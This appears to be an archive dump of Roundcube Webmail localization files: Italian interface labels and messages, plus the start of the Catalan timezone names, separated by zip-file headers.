$labels['newmessage'] = 'Nuovo messaggio';
$labels['signatureoptions'] = 'Opzioni firma';
$labels['whenreplying'] = 'Quando rispondi';
$labels['replyempty'] = 'non citare il messaggio originale';
$labels['replytopposting'] = 'inizia il nuovo messaggio sopra quello originale';
$labels['replytoppostingnoindent'] = 'inizia il nuovo messaggio sopra quello originale (senza indentazione)';
$labels['replybottomposting'] = 'inizia il nuovo messaggio sotto quello originale';
$labels['replyremovesignature'] = 'Quando rispondi, rimuovi la firma dal messaggio originale';
$labels['autoaddsignature'] = 'Aggiungi automaticamente la firma';
$labels['newmessageonly'] = 'solo ai nuovi messaggi';
$labels['replyandforwardonly'] = 'solo alle risposte e inoltri';
$labels['insertsignature'] = 'Inserisci firma';
$labels['sigbelow'] = 'Inserire la firma sotto al testo citato';
$labels['sigseparator'] = 'Forzare il separatore standard nelle firme';
$labels['automarkread'] = 'Marca i messaggi come letti';
$labels['afternseconds'] = 'dopo $n secondi';
$labels['reqmdn'] = 'Richiedi sempre la ricevuta di ritorno';
$labels['reqdsn'] = 'Richiedi sempre la notifica di consegna';
$labels['replysamefolder'] = 'Salva risposta nella cartella del messaggio a cui si risponde';
$labels['defaultabook'] = 'Rubrica predefinita';
$labels['autocompletesingle'] = 'Non considerare gli indirizzi secondari nell\'autocompletamento';
$labels['listnamedisplay'] = 'Elenca contatti come';
$labels['contactformmode'] = 'Modalità modulo di contatto';
$labels['privatemode'] = 'Privato (Casa)';
$labels['businessmode'] = 'Business (Lavoro)';
$labels['collectedaddresses'] = 'Indirizzi collezionati';
$labels['collectedrecipients'] = 'Destinatari collezionati';
$labels['collectedrecipientsopt'] = 'Memorizza i destinatari delle email in uscita in';
$labels['collectedsendersopt'] = 'Memorizza mittenti attendibili in';
$labels['trustedsenders'] = 'Mittenti attendibili';
$labels['spellcheckbeforesend'] = 'Esegui il controllo ortografico prima di inviare un messaggio';
$labels['spellcheckoptions'] = 'Opzioni controllo ortografico';
$labels['spellcheckignoresyms'] = 'Ignora le parole contenenti simboli';
$labels['spellcheckignorenums'] = 'Ignora le parole contenenti numeri';
$labels['spellcheckignorecaps'] = 'Ignora le parole con tutte le lettere maiuscole';
$labels['addtodict'] = 'Aggiungi al dizionario';
$labels['mailtoprotohandler'] = 'Registra gestore per mailto:';
$labels['standardwindows'] = 'Gestisci i popup come finestre standard';
$labels['forwardmode'] = 'Inoltro messaggi';
$labels['inline'] = 'in linea';
$labels['asattachment'] = 'come allegato';
$labels['replyallmode'] = 'Azione predefinita del pulsante [Rispondi a tutti]';
$labels['replyalldefault'] = 'rispondi a tutti';
$labels['replyalllist'] = 'rispondi solo alla mailing list (se disponibile)';
$labels['allmessages'] = 'tutti i messaggi';
$labels['olderxdays'] = 'più vecchio di $x giorni';
$labels['folder'] = 'Cartella';
$labels['folders'] = 'Cartelle';
$labels['foldername'] = 'Nome cartella';
$labels['subscribed'] = 'Sottoscritta';
$labels['messagecount'] = 'Messaggi';
$labels['create'] = 'Crea';
$labels['createfolder'] = 'Crea nuova cartella';
$labels['managefolders'] = 'Gestione cartelle';
$labels['specialfolders'] = 'Cartelle speciali';
$labels['properties'] = 'Proprietà';
$labels['folderproperties'] = 'Proprietà cartella';
$labels['parentfolder'] = 'Cartella padre';
$labels['location'] = 'Ubicazione';
$labels['info'] = 'Informazioni';
$labels['getfoldersize'] = 'Clic per la dimensione della cartella';
$labels['changesubscription'] = 'Clic per cambiare sottoscrizione';
$labels['foldertype'] = 'Tipo di cartella';
$labels['personalfolder'] = 'Cartella privata';
$labels['otherfolder'] = 'Cartella di un altro utente';
$labels['sharedfolder'] = 'Cartella pubblica';
$labels['findfolders'] = 'Trova cartelle';
$labels['findcontacts'] = 'Trova contatti';
$labels['findmail'] = 'Trova messaggi di posta';
$labels['namespace.personal'] = 'Personale';
$labels['namespace.other'] = 'Altri utenti';
$labels['namespace.shared'] = 'Condivisa';
$labels['dualuselabel'] = 'Può contenere solo';
$labels['dualusemail'] = 'messaggi';
$labels['dualusefolder'] = 'cartella';
$labels['generate'] = 'Genera';
$labels['encryptioncreatekey'] = 'Crea una nuova coppia di chiavi';
$labels['openmailvelopesettings'] = 'Apri impostazioni di Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Ci sono $nr chiavi private corrispondenti memorizzate nel portachiavi Mailvelope:';
$labels['encryptionnoprivkeysinmailvelope'] = 'L\'indentità del server non dispone ancora di una chiave privata PGP memorizzata nell\'estensione Mailvelope. Vuoi crearne una per abilitare la cifratura dei messaggi?';
$labels['encryption'] = 'Cifratura';
$labels['mailvelopeoptions'] = 'Opzioni Mailvelope';
$labels['mailvelopemainkeyring'] = 'Usa il portachiavi principale di Mailvelope';
$labels['mailvelopenotfound'] = 'L\'estensione Mailvelope non è abilitata/installata nel tuo browser.';
$labels['sortby'] = 'Ordina per';
$labels['sortasc'] = 'Ordinamento crescente';
$labels['sortdesc'] = 'Ordinamento decrescente';
$labels['undo'] = 'Annulla';
$labels['installedplugins'] = 'Plugin installati';
$labels['plugin'] = 'Plugin';
$labels['version'] = 'Versione';
$labels['source'] = 'Sorgente';
$labels['destination'] = 'Destinazione';
$labels['license'] = 'Licenza';
$labels['support'] = 'Ottieni supporto';
$labels['savedsearches'] = 'Ricerche salvate';
$labels['dateformatY'] = 'AAAA';
$labels['dateformaty'] = 'AA';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'GG';
$labels['dateformatj'] = 'G';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Inglese';
$labels['westerneuropean'] = 'Europa occidentale';
$labels['easterneuropean'] = 'Europa orientale';
$labels['southeasterneuropean'] = 'Europa sud-orientale';
$labels['baltic'] = 'Baltiche';
$labels['cyrillic'] = 'Cirillico';
$labels['arabic'] = 'Arabo';
$labels['greek'] = 'Greco';
$labels['hebrew'] = 'Ebraico';
$labels['turkish'] = 'Turco';
$labels['nordic'] = 'Scandinavo';
$labels['thai'] = 'Tailandese';
$labels['celtic'] = 'Celtico';
$labels['vietnamese'] = 'Vietnamita';
$labels['japanese'] = 'Giapponese';
$labels['korean'] = 'Coreano';
$labels['chinese'] = 'Cinese';
$labels['arialabeltopnav'] = 'Controllo finestra';
$labels['arialabeltasknav'] = 'Attività dell\'applicazione';
$labels['arialabeltoolbar'] = 'Barra delle applicazioni';
$labels['arialabellistnav'] = 'Navigazione elenco';
$labels['arialabelactivetask'] = 'Attività attive';
$labels['arialabelmessagessearchfilter'] = 'Filtro lista delle email';
$labels['arialabelmailsearchform'] = 'Modulo ricerca messaggi di posta';
$labels['arialabelcontactsearchform'] = 'Modulo di ricerca contatti';
$labels['arialabelmailquicksearchbox'] = 'Ricerca messaggi di posta';
$labels['arialabelquicksearchbox'] = 'Immissione ricerca';
$labels['arialabelfoldersearchfilter'] = 'Filtro cartelle';
$labels['arialabelfoldersearchform'] = 'Modulo di ricerca cartelle';
$labels['arialabelfolderlist'] = 'Cartella selezione email';
$labels['arialabelmessagelist'] = 'Lista messaggi di posta';
$labels['arialabelmailpreviewframe'] = 'Anteprima messaggio';
$labels['arialabelmailboxmenu'] = 'Menu azione cartella';
$labels['arialabellistselectmenu'] = 'Menu lista selezione';
$labels['arialabelthreadselectmenu'] = 'Finestra elenco menu';
$labels['arialabelmessagelistoptions'] = 'Visualizzazione della lista dei messaggi e opzioni di ordinamento';
$labels['arialabelmailimportdialog'] = 'Dialogo importazione messaggio';
$labels['arialabelmessagenav'] = 'Navigazione messaggio';
$labels['arialabelmessagebody'] = 'Corpo messaggio';
$labels['arialabelmessageactions'] = 'Azione messaggi';
$labels['arialabelcontactquicksearch'] = 'Modulo ricerca contatti';
$labels['arialabelcontactsearchbox'] = 'Immissione ricerca contatti';
$labels['arialabelmessageheaders'] = 'Messaggio testata';
$labels['arialabelforwardingoptions'] = 'Opzioni di inoltro';
$labels['arialabelreplyalloptions'] = 'Opzione rispondi a tutti';
$labels['arialabelmoremessageactions'] = 'Altre azioni del messaggio';
$labels['arialabelmorecontactactions'] = 'Ulteriori azioni del contatto';
$labels['arialabelmarkmessagesas'] = 'Contrassegna messaggi selezionati come';
$labels['arialabelcomposeoptions'] = 'Impostazioni composizione';
$labels['arialabelresponsesmenu'] = 'Menu messaggi predefiniti';
$labels['arialabelattachmentuploadform'] = 'Allegato caricato da';
$labels['arialabelattachmentmenu'] = 'Opzioni allegato';
$labels['arialabelmailtomenu'] = 'Opzioni indirizzo di posta elettronica';
$labels['arialabelattachmentpreview'] = 'Anteprima allegato';
$labels['ariasummarycomposecontacts'] = 'Elenco dei contatti e gruppi per selezionare come destinatari';
$labels['arialabelcontactexportoptions'] = 'Impostazioni esportazione contatti';
$labels['arialabelabookgroupoptions'] = 'Impostazioni rubrica contatti/gruppi';
$labels['arialabelpreferencesform'] = 'Modulo preferenze';
$labels['arialabelidentityeditfrom'] = 'Modifica modulo identità';
$labels['arialabelresponseeditfrom'] = 'Modifica modulo ricezione';
$labels['arialabelsearchterms'] = 'Ricerca termini';
$labels['arialabeldropactionmenu'] = 'Menu azione con trascinamento';
$labels['arialabelheadersmenu'] = 'Aggiungi destinatario (intestazione) menu';
$labels['arialabelimagetools'] = 'Strumenti immagine';
$labels['helplistnavigation'] = 'Lista navigazione da tastiera';
$labels['helplistkeyboardnavigation'] = "Frecce su/giù: Sposta le righe selezionate.
Spazio: Seleziona fila mirata.
Shift + su/giù: Seleziona ulteriore fila da sotto e sopra.
Ctrl + Spazio: Aggiungi fila mirata da selezionato/rimosso a selezionato.";
$labels['helplistkeyboardnavmessages'] = "Frecce destra/sinistra: espande/comprime l'argomento del messaggio (solo in modalità argomenti).
Invio: apre il contatto selezionato.
Canc: sposta il messaggio selezionato nel cestino.";
$labels['helplistkeyboardnavcontacts'] = "Invio: Aprire il contatto selezionato";
PK
h�\E�r��H�H'program/localization/it_IT/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Si è verificato un errore!';
$messages['loginfailed']  = 'Accesso non riuscito.';
$messages['cookiesdisabled'] = 'Il tuo browser non accetta i cookies.';
$messages['sessionerror'] = 'Sessione non valida o scaduta.';
$messages['cookiesmismatch'] = 'Rilevata una mancata corrispondenza dei cookies. Per favore, cancella i cookies del tuo browser.';
$messages['storageerror'] = 'Impossibile connettersi al server IMAP';
$messages['servererror'] = 'Errore del server!';
$messages['servererrormsg'] = 'Errore del server: $msg';
$messages['accountlocked'] = 'Troppi tentativi di accesso non riusciti. Tenta di nuovo più tardi.';
$messages['connerror'] = 'Errore di connessione (impossibile raggiungere il server)!';
$messages['dberror'] = 'Errore del database!';
$messages['dbconnerror'] = 'Impossibile collegarsi al database!';
$messages['windowopenerror'] = 'La finestra di popup è stata bloccata!';
$messages['requesttimedout'] = 'Richiesta scaduta';
$messages['errorreadonly'] = 'Impossibile eseguire l\'operazione. Cartella in sola lettura';
$messages['errornoperm'] = 'Impossibile eseguire l\'operazione. Permesso negato';
$messages['erroroverquota'] = 'Impossibile eseguire l\'operazione. Spazio su disco non sufficiente.';
$messages['erroroverquotadelete'] = 'Spazio su disco non sufficiente. Utilizza SHIFT+CANC per eliminare un messaggio.';
$messages['invalidrequest'] = 'Richiesta non valida! Nessun dato salvato.';
$messages['invalidhost'] = 'Nome del server non valido.';
$messages['nomessagesfound'] = 'Nessun messaggio trovato in questa cartella';
$messages['loggedout'] = 'Hai correttamente terminato la sessione. A presto!';
$messages['mailboxempty'] = 'La casella di posta è vuota';
$messages['nomessages'] = 'Non ci sono messaggi';
$messages['refreshing'] = 'Aggiornamento...';
$messages['loading'] = 'Caricamento...';
$messages['uploading'] = 'Caricamento file...';
$messages['attaching'] = 'Sto allegando il file...';
$messages['uploadingmany'] = 'Caricamento file...';
$messages['loadingdata'] = 'Caricamento dati...';
$messages['checkingmail'] = 'Controllo nuovi messaggi...';
$messages['sendingmessage'] = 'Invio messaggio in corso...';
$messages['messagesent'] = 'Messaggio inviato correttamente';
$messages['savingmessage'] = 'Salvataggio messaggio...';
$messages['messagesaved'] = 'Messaggio salvato in bozze';
$messages['successfullysaved'] = 'Salvato correttamente.';
$messages['savingresponse'] = 'Salvataggio della risposta...';
$messages['deleteresponseconfirm'] = 'Sei sicuro di voler eliminare questa risposta?';
$messages['nocontactselected'] = 'Non hai ancora selezionato un contatto.';
$messages['addedsuccessfully'] = 'Contatto aggiunto alla rubrica';
$messages['contactexists'] = 'Esiste già un contatto con questo indirizzo email.';
$messages['contactnameexists'] = 'Esiste già un contatto con questo nome';
$messages['blockedimages'] = 'Per proteggere la tua privacy, le immagini remote di questo messaggio sono state bloccate.';
$messages['blockedresources'] = 'Per proteggere la tua privacy le risorse remote sono state bloccate.';
$messages['suspiciousemail'] = 'Questo messaggio contiene indirizzi email sospetti che potrebbero essere fraudolenti.';
$messages['bccemail'] = 'I messaggi inoltrati includono destinatari riservati (Ccn).';
$messages['bouncehint'] = 'Il messaggio verrà inviato senza alcuna modifica, ovvero utilizzando il corpo, le intestazioni e i destinatari originali.';
$messages['encryptedmessage'] = 'Questo messaggio è cifrato e non può essere visualizzato. Spiacenti!';
$messages['externalmessagedecryption'] = 'Questo messaggio è cifrato e può essere decifrato attraverso un\'estensione del browser.';
$messages['nopubkeyfor'] = 'Non è stata trovata una chiave pubblica valida per l\'indirizzo $email';
$messages['nopubkeyforsender'] = 'Non è stata trovata una chiave pubblica valida per la tua identità mittente. Si desidera cifrare il messaggio solo per i destinatari?';
$messages['encryptnoattachments'] = 'Gli allegati già caricati non possono essere cifrati. Si prega di aggiungerli di nuovo all\'editor di cifratura.';
$messages['searchpubkeyservers'] = 'Si desidera effettuare una ricerca di server di chiavi pubbliche per le chiavi mancanti?';
$messages['encryptpubkeysfound'] = 'Sono state trovate le seguenti chiavi pubbliche:';
$messages['keyservererror'] = 'Tentativo non riuscito di ottenere la chiave dal keyserver.';
$messages['keyimportsuccess'] = 'Chiave pubblica $key importata con successo nel tuo portachiavi.';
$messages['nocontactsfound'] = 'Nessun contatto';
$messages['contactnotfound'] = 'Il contatto richiesto non è stato trovato';
$messages['contactsearchonly'] = 'Devi usare un modulo di ricerca per vedere i contatti dalla rubrica selezionata.';
$messages['sendingfailed'] = 'Impossibile inviare il messaggio';
$messages['senttooquickly'] = 'Per favore, attendi $sec secondi prima di inviare questo messaggio';
$messages['errorsavingsent'] = 'Si è verificato un errore nel salvare il messaggio inviato.';
$messages['errorsaving'] = 'Si è verificato un errore nel salvataggio.';
$messages['errormoving'] = 'Impossibile spostare il messaggio';
$messages['errorcopying'] = 'Impossibile copiare il messaggio';
$messages['errordeleting'] = 'Impossibile eliminare il messaggio';
$messages['errormarking'] = 'Impossibile segnare il messaggio';
$messages['alerttitle'] = 'Attenzione';
$messages['confirmationtitle'] = 'Sei sicuro...';
$messages['deletecontactconfirm']  = 'Sei sicuro di voler eliminare i contatti selezionati?';
$messages['deletegroupconfirm']  = 'Sei sicuro di voler eliminare i gruppi selezionati?';
$messages['deletemessagesconfirm'] = 'Sei sicuro di voler eliminare i messaggi selezionati?';
$messages['deletefolderconfirm']  = 'Sei sicuro di voler eliminare la cartella selezionata?';
$messages['movefolderconfirm']  = 'Sei sicuro di voler spostare la cartella selezionata?';
$messages['purgefolderconfirm']  = 'Sei sicuro di voler eliminare tutti i messaggi in questa cartella?';
$messages['contactdeleting'] = 'Eliminazione contatti...';
$messages['groupdeleting'] = 'Eliminazione gruppo...';
$messages['folderdeleting'] = 'Eliminazione cartella...';
$messages['foldermoving'] = 'Spostamento cartella...';
$messages['foldersubscribing'] = 'Sottoscrizione cartella...';
$messages['folderunsubscribing'] = 'Cancellazione sottoscrizione cartella...';
$messages['formincomplete'] = 'Per favore, compila tutti i campi';
$messages['noemailwarning'] = 'Per favore, immetti un indirizzo e-mail valido';
$messages['nonamewarning']  = 'Per favore, immetti un nome';
$messages['nopagesizewarning'] = 'Per favore, immetti il numero di righe per pagina';
$messages['nosenderwarning'] = 'Per favore, inserisci l\'indirizzo email del mittente.';
$messages['recipientsadded'] = 'Destinatari/o aggiunti/o correttamente';
$messages['norecipientwarning'] = 'Per favore, immetti almeno un destinatario';
$messages['disclosedrecipwarning'] = 'Tutti i destinatari vedranno i rispettivi indirizzi di posta elettronica. Per evitare questo e proteggerne la riservatezza puoi usare il campo Ccn.';
$messages['disclosedreciptitle'] = 'Troppi destinatari pubblici';
$messages['nosubjectwarning']  = 'L\'oggetto è vuoto. Vuoi inserirlo adesso?';
$messages['nosubjecttitle']  = 'Nessun oggetto';
$messages['nobodywarning'] = 'Inviare il messaggio senza testo?';
$messages['notsentwarning'] = 'Il messaggio non è stato inviato e ha delle modifiche non salvate. Vuoi annullare le modifiche?';
$messages['restoresavedcomposedata'] = 'E\' stato rilevato un precedente messaggio non inviato.\n\nOggetto: $subject\nSalvato: $date\n\nVuoi ripristinare il messaggio?';
$messages['nosearchname'] = 'Per favore, immetti un nome o un indirizzo e-mail';
$messages['notuploadedwarning'] = 'Non tutti gli allegati sono stati ancora caricati. Prego attendere, oppure cancellare il caricamento.';
$messages['searchsuccessful'] = '$nr messaggi trovati';
$messages['contactsearchsuccessful'] = '$nr contatti trovati';
$messages['searchnomatch'] = 'La ricerca non ha dato nessun risultato';
$messages['searching'] = 'Ricerca...';
$messages['checking'] = 'Controllo...';
$messages['stillsearching'] = 'Ricercando...';
$messages['nospellerrors'] = 'Nessun errore ortografico trovato';
$messages['folderdeleted'] = 'Cartella eliminata';
$messages['foldersubscribed'] = 'Cartella sottoscritta correttamente';
$messages['folderunsubscribed'] = 'Sottoscrizione cartella cancellata correttamente';
$messages['folderpurged'] = 'Cartella svuotata con successo.';
$messages['folderexpunged'] = 'Cartella compattata con successo.';
$messages['deletedsuccessfully'] = 'Eliminato con successo';
$messages['converting'] = 'Rimozione della formattazione dal messaggio...';
$messages['messageopenerror'] = 'Impossibile caricare il messaggio dal server';
$messages['filelinkerror'] = 'L\'inserimento dell\'allegato non è riuscito.';
$messages['fileuploaderror'] = 'Errore durante il caricamento del file';
$messages['csvfilemismatch'] = 'L\'importazione di più file CSV con campi diversi non è supportata.';
$messages['filesizeerror'] = 'Il file da caricare supera il limite massimo di $size';
$messages['filecounterror'] = 'È possibile caricare al massimo $count file alla volta.';
$messages['msgsizeerror'] = 'Errore nell\'allegare un file. Dimensione massima di un messaggio ($size) superata. ';
$messages['msgsizeerrorfwd'] = 'La dimensione massima del messaggio ($size) è stata superata. $num messaggi non sono stati allegati.';
$messages['copysuccess'] = 'Copiati correttamente $nr contatti.';
$messages['movesuccess'] = '$nr contatti spostati correttamente.';
$messages['copyerror'] = 'Impossibile copiare i contatti.';
$messages['moveerror'] = 'Impossibile spostare i contatti.';
$messages['sourceisreadonly'] = 'La rubrica è in sola lettura';
$messages['errorsavingcontact'] = 'Impossibile salvare il contatto';
$messages['movingmessage'] = 'Spostamento del messaggio...';
$messages['copyingmessage'] = 'Copia messaggio(i)...';
$messages['copyingcontact'] = 'Copia contatto(i)...';
$messages['movingcontact'] = 'Spostamento contatto(i)...';
$messages['deletingmessage'] = 'Eliminazione messaggio(i)...';
$messages['markingmessage'] = 'Marca messaggio...';
$messages['addingmember'] = 'Aggiunta contatto al gruppo...';
$messages['removingmember'] = 'Rimozione contatto dal gruppo...';
$messages['receiptsent'] = 'Ricevuta di ritorno inviata con successo';
$messages['errorsendingreceipt'] = 'Impossibile spedire la ricevuta di ritorno';
$messages['deleteidentityconfirm'] = 'Sei sicuro di voler eliminare questo profilo?';
$messages['nodeletelastidentity'] = 'Impossibile eliminare l\'unica identità disponibile';
$messages['forbiddencharacter'] = 'Il nome della cartella contiene un carattere vietato';
$messages['selectimportfile'] = 'Per favore, seleziona il file da caricare';
$messages['addresswriterror'] = 'La rubrica selezionata non è scrivibile';
$messages['contactaddedtogroup'] = 'Contatto aggiunto con successo al gruppo';
$messages['contactremovedfromgroup'] = 'Contatto rimosso con successo dal gruppo';
$messages['nogroupassignmentschanged'] = 'Nessun assegnamento del gruppo è stato cambiato.';
$messages['importwait'] = 'Importazione in corso, attendere...';
$messages['importformaterror'] = 'Importazione non riuscita! Il file caricato non è un file valido per l\'importazione.';
$messages['importconfirm'] = '<b>$inserted contatti importati con successo</b>';
$messages['importconfirmskipped'] = '<b>$skipped ignorati perché esistono già</b>';
$messages['importmessagesuccess'] = 'Importati correttamente $nr messaggi';
$messages['importmessageerror'] = 'Importazione non riuscita! Il file caricato non è un messaggio o una casella postale valida.';
$messages['opnotpermitted'] = 'Operazione non consentita!';
$messages['nofromaddress'] = 'Indirizzo email mancante nell\'identità selezionata.';
$messages['editorwarning'] = 'Cambiare editor potrebbe causare la perdita della formattazione. Si desidera continuare lo stesso?';
$messages['httpreceivedencrypterror'] = 'Errore fatale di configurazione. Contatta l\'amministratore immediatamente. <b>Il tuo messaggio non può essere inviato</b>.';
$messages['smtpconnerror'] = 'Errore SMTP ($code): connessione al server non riuscita.';
$messages['smtpautherror'] = 'Errore SMTP ($code): autenticazione non riuscita.';
$messages['smtpfromerror'] = 'Errore SMTP ($code): impostazione del mittente "$from" non riuscita ($msg)';
$messages['smtptoerror'] = 'Errore SMTP ($code): inserimento del destinatario "$to" non riuscito ($msg)';
$messages['smtprecipientserror'] = 'Errore SMTP: impossibile processare la lista dei destinatari';
$messages['smtputf8error'] = 'Errore SMTP: Il server non supporta i caratteri Unicode nell\'indirizzo email';
$messages['smtpsizeerror'] = 'Errore SMTP: La dimensione del messaggio supera il limite del server ($limit)';
$messages['smtperror'] = 'Errore SMTP: $msg';
$messages['emailformaterror'] = 'Indirizzo email non valido: $email';
$messages['toomanyrecipients'] = 'Numero eccessivo di destinatari, ridurlo a $max';
$messages['maxgroupmembersreached'] = 'Il numero dei membri del gruppo eccede il massimo di $max';
$messages['internalerror'] = 'Si è verificato un errore interno. Riprovare più tardi.';
$messages['contactdelerror'] = 'Impossibile eliminare il/i contatto/i';
$messages['contactdeleted'] = 'Contatto/i correttamente eliminato/i';
$messages['contactrestoreerror'] = 'Impossibile ripristinare il/i contatto/i cancellato/i';
$messages['contactrestored'] = 'Contatto/i ripristinato/i';
$messages['groupdeleted'] = 'Gruppo correttamente eliminato';
$messages['grouprenamed'] = 'Gruppo correttamente rinominato';
$messages['groupcreated'] = 'Gruppo creato correttamente';
$messages['savedsearchdeleted'] = 'Le ricerca salvata è stata eliminata con successo.';
$messages['savedsearchdeleteerror'] = 'Impossibile eliminare la ricerca salvata.';
$messages['savedsearchcreated'] = 'Ricerca salvata creata con successo.';
$messages['savedsearchcreateerror'] = 'Impossibile creare la ricerca salvata.';
$messages['messagedeleted'] = 'Messaggi/o eliminato/i correttamente';
$messages['messagemoved'] = 'Messaggio/i spostato/i correttamente';
$messages['messagemovedtotrash'] = 'Messaggio/i spostato/i correttamente nel cestino.';
$messages['messagecopied'] = 'Messaggi/o copiato/i correttamente';
$messages['messagemarked'] = 'Messaggi/o marcato/i correttamente';
$messages['autocompletechars'] = 'Inserisci almeno $min caratteri per l\'autocompletamento';
$messages['autocompletemore'] = 'Più risultati ottenuti. Inserisci per favore più caratteri.';
$messages['namecannotbeempty'] = 'Il nome non può essere vuoto';
$messages['nametoolong'] = 'Nome troppo lungo';
$messages['namedotforbidden'] = 'Il nome della cartella non può iniziare con un punto';
$messages['folderupdated'] = 'Cartella aggiornata correttamente';
$messages['foldercreated'] = 'Cartella creata correttamente';
$messages['invalidimageformat'] = 'Formato immagine non valido';
$messages['mispellingsfound'] = 'Sono stati riscontrati errori ortografici nel messaggio';
$messages['parentnotwritable'] = 'Impossibile creare o muovere la cartella: accesso negato';
$messages['messagetoobig'] = 'La parte del messaggio è troppo grande per essere processata.';
$messages['attachmentvalidationerror'] = 'Questo allegato è sospetto perché il tipo non corrisponde a quanto dichiarato nel messaggio. Se non ti fidi del mittente, non dovresti aprirlo nel browser perché potrebbe contenere contenuti malevoli.<br/><br/><em>Atteso: $expected; trovato: $detected</em>';
$messages['noscriptwarning'] = 'Attenzione: questo servizio di webmail richiede Javascript! Per utilizzarlo abilita Javascript nelle impostazioni del tuo browser.';
$messages['messageissent'] = 'Questo messaggio è stato già inviato, ma non ancora salvato. Vuoi salvarlo adesso?';
$messages['errnotfound'] = 'File non trovato';
$messages['errnotfoundexplain'] = 'La risorsa richiesta non è stata trovata!';
$messages['errfailedrequest'] = 'Richiesta non riuscita';
$messages['errauthorizationfailed'] = 'Autorizzazione non riuscita';
$messages['errunauthorizedexplain'] = 'Non è stato possibile verificare la tua autorizzazione all\'accesso per questo servizio!';
$messages['errrequestcheckfailed'] = 'Il controllo della richiesta non è riuscito';
$messages['errcsrfprotectionexplain'] = "Per la tua sicurezza, l'accesso a questa risorsa è protetto contro CSRF.\nSe visualizzi questo messaggio, è probabile che non ti sia scollegato prima di lasciare l'applicazione web.\n\nE' richiesta un'azione di una persona per continuare.";
$messages['errcontactserveradmin'] = 'Si prega di contattare l\'amministratore del server.';
$messages['clicktoresumesession'] = 'Clicca qui per riprendere la tua sessione precedente.';
$messages['errcomposesession'] = 'Errore di sessione di composizione';
$messages['errcomposesessionexplain'] = 'Non è stato possibile trovare la sessione di composizione richiesta.';
$messages['clicktocompose'] = 'Cliccare qui per comporre un nuovo messaggio';
$messages['nosupporterror'] = 'La funzione non è supportata dal browser.';
$messages['siginserted'] = 'Firma inserita con successo.';
$messages['responseinserted'] = 'Risposta inserita con successo.';
$messages['noresponsesavailable'] = 'Nessuna risposta disponibile';
$messages['listempty'] = 'Questa lista è vuota';
$messages['listusebutton'] = 'Usa il tasto Crea per aggiungere una nuova voce';
$messages['keypaircreatesuccess'] = 'Una nuova coppia di chiavi è stata creata con successo per $identity.';
$messages['emptyattachment'] = 'Il file allegato risulta vuoto.<br> Verifica con la persona che lo ha inviato.';
$messages['oauthloginfailed'] = 'Accesso OAuth non riuscito. Riprova.';
PK
h�\[�¦O�O(program/localization/ca_ES/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Àfrica';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Abeba';
$labels['tz:africa:algiers'] = 'Alger';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'El Caire';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Djibouti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'Al-Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Khartoum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadiscio';
$labels['tz:africa:monrovia'] = 'Monròvia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'N\'Djamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Trípoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'Amèrica';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
